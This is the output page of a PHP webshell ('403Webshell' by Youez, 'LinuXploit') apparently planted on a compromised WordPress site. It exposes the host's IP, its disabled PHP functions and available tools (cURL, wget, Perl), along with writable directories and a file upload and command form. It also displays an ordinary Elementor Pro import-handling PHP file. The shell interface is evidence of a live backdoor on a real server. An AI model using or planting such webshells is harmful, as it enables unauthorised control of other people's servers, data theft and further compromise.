403Webshell
Server IP : 89.39.208.18  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System :
User :  ( )
PHP Version : 7.4.33
Disable Function : eval,./,ln,passthru,dl,system,exec,popen,shell_exec,posix_getpwuid,posix_uname,ftp_exec,posix_uname,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,get_current_user,getmyuid,getmygid,listen,chgrp,apache_note,apache_setenv,apache_child_terminate,closelog,debugger_off,debugge_on,ini_restore,netscript,escapeshellarg,cmd,backtick,virtual,show_sourc,show_source,pclose,pcntl_exec,datasec,old_offset,ctrl_dir,ini_alter,leak,listen,chgrp,apache_setenv,define_syslog_variables,root,diskfreespace,disk_free_space,disk_total_space,posix_kill,getmyuid,getmygid,apache_child_terminate,php_ini_scanned_files,ls,ps_aux,chown,getrusage,posixc,posame,chgrp,posix_setuid,posix_setsid,posix_setgid,apache_note,apache_setenv,x_getuid,e_ini_file,nfo,SQL,mysql_li,t_dbs,filegroup,highlight_file,ilegetcontents,get_dir,popen,popens,pfsockopen,dos_conv,apache_get_modules,crack_check,crack_closedict,rar_open,bzopen,bzread,bzwrite,shellcode,posix_isatty,posix_getservbyname,escapeshellarg,hypot,pg_host,pos,posix_access,inurl,posix_times,posix_mknod,pclose,ps_fill,symlink,id,escapeshellcmd,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home3/./mahyarcake/public_html/wp-content/plugins/elementor-pro/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home3/./mahyarcake/public_html/wp-content/plugins/elementor-pro/base/on-import-trait.php
<?php
namespace ElementorPro\Base;

use Elementor\Element_Base;
use ElementorPro\Modules\QueryControl\Controls\Query;
use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

trait On_Import_Trait {

	/**
	 * On import update dynamic content (e.g. post and term IDs).
	 *
	 * @since 3.8.0
	 *
	 * @param array              $element_config The config of the passed element.
	 * @param array              $data           The data that requires updating/replacement when imported.
	 * @param array|Element_Base $controls       The available controls.
	 *
	 * @return array
	 */
	public static function on_import_update_dynamic_content( array $element_config, array $data, $controls = null ) : array {
		if ( $controls instanceof Element_Base ) {
			$element_config = $controls->on_import_update_dynamic_content( $element_config, $data );
			$controls = $controls->get_controls();
		}

		if ( ! is_array( $controls ) ) {
			return $element_config;
		}

		$available_control_types = Plugin::elementor()->controls_manager->get_controls();

		foreach ( $controls as $control ) {
			$element_config = static::on_import_update_control( $element_config, $data, $control, $available_control_types );
		}

		return $element_config;
	}

	/**
	 * Check if a control requires updating, and do so if needed.
	 *
	 * @param array $element_config
	 * @param array $data
	 * @param array $control
	 * @param array $available_control_types
	 *
	 * @return array
	 */
	private static function on_import_update_control( array $element_config, array $data, array $control, array $available_control_types ) : array {
		$control_value = $element_config['settings'][ $control['name'] ] ?? null;

		if ( empty( $control_value ) || ! $available_control_types[ $control['type'] ] instanceof Query ) {
			return $element_config;
		}

		$required_data = static::on_import_get_required_data( $data, $control['name'] );

		if ( empty( $required_data ) ) {
			return $element_config;
		}

		if ( is_array( $control_value ) ) {
			foreach ( $control_value as $value ) {
				$element_config = static::on_import_update_control_value( $element_config, $required_data, $control['name'], $value );
			}
		} else {
			$element_config = static::on_import_update_control_value( $element_config, $required_data, $control['name'], $control_value );
		}

		return $element_config;
	}

	/**
	 * Returns the data type that is required for updating.
	 *
	 * @param array $data
	 * @param string $control_name
	 *
	 * @return array
	 */
	private static function on_import_get_required_data( array $data, string $control_name ) : array {
		if ( strpos( $control_name, 'term_ids' ) !== false ) {
			return $data['term_ids'];
		}

		if ( static::on_import_check_post_type( $control_name ) ) {
			return $data['post_ids'];
		}

		return [];
	}

	/**
	 * Are the control values post IDs?
	 *
	 * @param string $control_name
	 *
	 * @return bool
	 */
	private static function on_import_check_post_type( string $control_name ) : bool {
		return strpos( $control_name, 'post_ids' ) !== false || in_array( $control_name, [ 'post_id', 'template_id', 'popup' ] );
	}

	/**
	 * Update the value for the dynamic control.
	 *
	 * @param array $element_config
	 * @param array $data
	 * @param string $control_name
	 * @param $current_value
	 *
	 * @return array
	 */
	private static function on_import_update_control_value( array $element_config, array $data, string $control_name, $current_value ) : array {
		if ( ! isset( $data[ $current_value ] ) ) {
			return $element_config;
		}

		if ( is_array( $element_config['settings'][ $control_name ] ) ) {
			$element_config['settings'][ $control_name ] = array_map( function( $item ) use ( $data, $current_value ) {
				return $item === $current_value ? $data[ $current_value ] : $item;
			}, $element_config['settings'][ $control_name ] );
		} else {
			$element_config['settings'][ $control_name ] = $data[ $current_value ];
		}

		return $element_config;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit